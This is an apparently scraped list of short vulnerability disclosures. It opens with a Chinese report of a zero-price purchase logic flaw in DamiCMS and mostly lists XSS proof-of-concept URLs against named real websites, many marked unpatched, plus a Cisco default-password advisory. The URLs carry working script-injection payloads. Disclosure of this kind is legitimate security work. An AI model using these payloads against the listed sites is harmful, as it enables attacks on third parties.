大米CMS存在0元购物逻辑漏洞（demo演示）

简要描述： 大米CMS存在0元购物逻辑漏洞,当然要注册会员咯。但是可以0元购物 详细说明： 漏洞文件:Web/Lib/Action/MemberAction.class.php //413行 if!isnumeric$POST'id'$i || !isnumeric$POST'price'$i || !isnumeric$POST'qty'$icontinue; $data'gid' = $POST'id'$i; //这里把传入的商品id传给了 $data'gid' $data'uid' = $SESSION'damiuid'; $data'price' =...

yelleb.com XSS vulnerability

Vulnerable URL: http://www.yelleb.com/browse-business-cities/char:A" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 265446 Google Pagerank| 0 VIP website status:| No Check yelleb.c...

ghanayello.com XSS vulnerability

Vulnerable URL: http://www.ghanayello.com/browse-business-cities/char:A" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 111615 Google Pagerank| 0 VIP website status:| No Check...

your-beauty.su XSS vulnerability

Vulnerable URL: http://your-beauty.su/?a=0=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E&=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

versona.su XSS vulnerability

Vulnerable URL: http://versona.su/sitesearch?a=0term=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| Yes, at 12.08.2015 Latest check for patch:| 12.08.2015 00:52 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

фара.su XSS vulnerability

Vulnerable URL: http://фара.su/?a=0=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E&=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

readr.su XSS vulnerability

Vulnerable URL: http://readr.su/?a=0=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E&=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

boatingandfishing.com XSS vulnerability

Vulnerable URL: http://www.boatingandfishing.com/csp/mediapool/sites/SunNews/SearchResults/index.csp?p=CS="=++Search++ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 16813074 Googl...

obrazovanie.su XSS vulnerability

Vulnerable URL: http://obrazovanie.su/searchv.php?search?a=0=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E&Submit2;=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C...

fitnessswingers.com XSS vulnerability

Vulnerable URL: http://www.fitnessswingers.com/registration/?a=0="r3nw4"' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1891052 Google Pagerank| 0 VIP website status:| No Check...

ruedasytuercas.buscamas.pe XSS vulnerability

Vulnerable URL: http://ruedasytuercas.buscamas.pe/h/" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 105471 Google Pagerank| 0 VIP website status:| No Check...

officevmoskve.ru XSS vulnerability

Vulnerable URL: http://www.officevmoskve.ru/office?searchstr="autofocus/onfocus="confirm/XSSposed/mode=/geoflatcosttypestart=0flatcosttypeend=0meterpricestart=0meterpriceend=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerabili...

jennyjoseph.de XSS vulnerability

Vulnerable URL: http://www.jennyjoseph.de/search.php?q=%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4705876 Google Pagerank| 0...

Cisco Unified CDM platform exposure of privileged accounts and static passwords-vulnerability warning-the black bar safety net

! Cisco's Unified CDM communications domain Manager was revealed to contain a default that cannot be modified privileged accounts and the use of static password, the attacker can use the platform to remote attacks and intrusions. Vulnerability Cisco's Unified CDM is a Cisco hosted collaboration...

iraqdesigner.com XSS vulnerability

Vulnerable URL: http://iraqdesigner.com/search.html?search=%3CSCRIPT%3Ealert%28%27XSSPOSED%27%29%3B%3C%2FSCRIPT%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

espnfc.us XSS vulnerability

Vulnerable URL: http://www.espnfc.us/concacaf-gold-cup/59/blog/post/2515671/us-lucky-vs-honduras-clint-dempsey-brad-guzan-save-win"v0raz Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

healthbank.co.nz XSS vulnerability

Vulnerable URL: http://www.healthbank.co.nz/search?search=%22%3E%3Cscript%3Ealert%28/XSSPOSED/%29%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4560934 Google Pageran...

tekhneconn10.com XSS vulnerability

Vulnerable URL:...

trinity.ng XSS vulnerability

Vulnerable URL:...

regochan.com XSS vulnerability

Vulnerable URL:...